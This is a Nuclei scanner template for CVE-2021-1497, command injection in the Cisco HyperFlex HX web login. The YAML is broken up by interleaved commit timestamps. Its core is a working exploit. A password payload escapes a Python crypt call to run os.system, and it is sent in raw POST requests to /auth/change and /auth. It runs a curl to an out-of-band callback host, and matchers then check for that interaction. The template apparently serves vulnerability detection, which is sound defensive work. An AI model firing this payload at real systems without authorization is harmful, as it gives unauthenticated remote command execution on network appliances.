2021-07-06 00:30:13 +00:00
id : CVE-2021-1497
2022-02-16 16:11:34 +00:00
2021-07-06 00:30:13 +00:00
info :
2022-04-29 19:58:07 +00:00
name : Cisco HyperFlex HX Data Platform - Remote Command Execution
2022-02-15 06:09:56 +00:00
author : gy741
2021-07-06 00:30:13 +00:00
severity : critical
2022-04-29 19:58:07 +00:00
description : Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-09-29 21:49:02 +00:00
- https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
2021-07-06 00:30:13 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-1497
- https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
- https://twitter.com/Unit42_Intel/status/1402655493735206915
2021-07-10 15:24:04 +00:00
- https://twitter.com/ptswarm/status/1390300625129201664
2021-07-06 00:30:13 +00:00
- https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
2021-07-10 15:23:23 +00:00
- https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-1497
cwe-id : CWE-78
2023-11-03 10:59:12 +00:00
epss-score : 0.97507
epss-percentile : 0.99978
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:cisco:hyperflex_hx_data_platform:4.0\(2a\):*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : cisco
product : hyperflex_hx_data_platform
2023-08-07 22:32:14 +00:00
tags : cve,cve2021,cisco,rce,oast,kev,packetstorm
2023-03-29 11:07:38 +00:00
variables :
2023-08-07 22:32:14 +00:00
cmd : 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
2023-07-11 19:49:27 +00:00
payload : '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
2023-03-29 14:11:27 +00:00
useragent : '{{rand_base(6)}}'
2023-03-29 11:07:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-06 00:30:13 +00:00
- raw :
- |
2021-09-29 21:49:02 +00:00
POST /auth/change HTTP/1.1
2021-07-06 00:30:13 +00:00
Host : {{Hostname}}
Accept : */*
Content-Type : application/x-www-form-urlencoded
2022-05-09 16:12:52 +00:00
2023-06-15 07:09:56 +00:00
username=root&password={{url_encode(payload)}}
2021-09-29 21:49:02 +00:00
- |
POST /auth HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : application/x-www-form-urlencoded
2022-05-09 16:12:52 +00:00
2023-06-15 07:09:56 +00:00
username=root&password={{url_encode(payload)}}
2022-05-09 16:12:52 +00:00
2021-07-10 15:17:20 +00:00
matchers-condition : and
2021-07-06 00:30:13 +00:00
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2021-07-06 00:30:13 +00:00
words :
2021-07-10 15:23:23 +00:00
- "http"
2022-02-16 16:11:34 +00:00
2023-03-29 10:27:31 +00:00
- type : word
part : interactsh_request
words :
2023-03-29 13:54:19 +00:00
- "User-Agent: {{useragent}}"
2023-11-03 15:51:18 +00:00
# digest: 490a00463044022039f4c1b43dc411f27dd747aac493ad23ad5ff943ef958fe5a72984e7fca9acc50220076539bc2e45cc78c7aaa2800a3380908593bd3671de3f8103ad3a32b00b1879:922c64590222798bb761d5b6d8e72950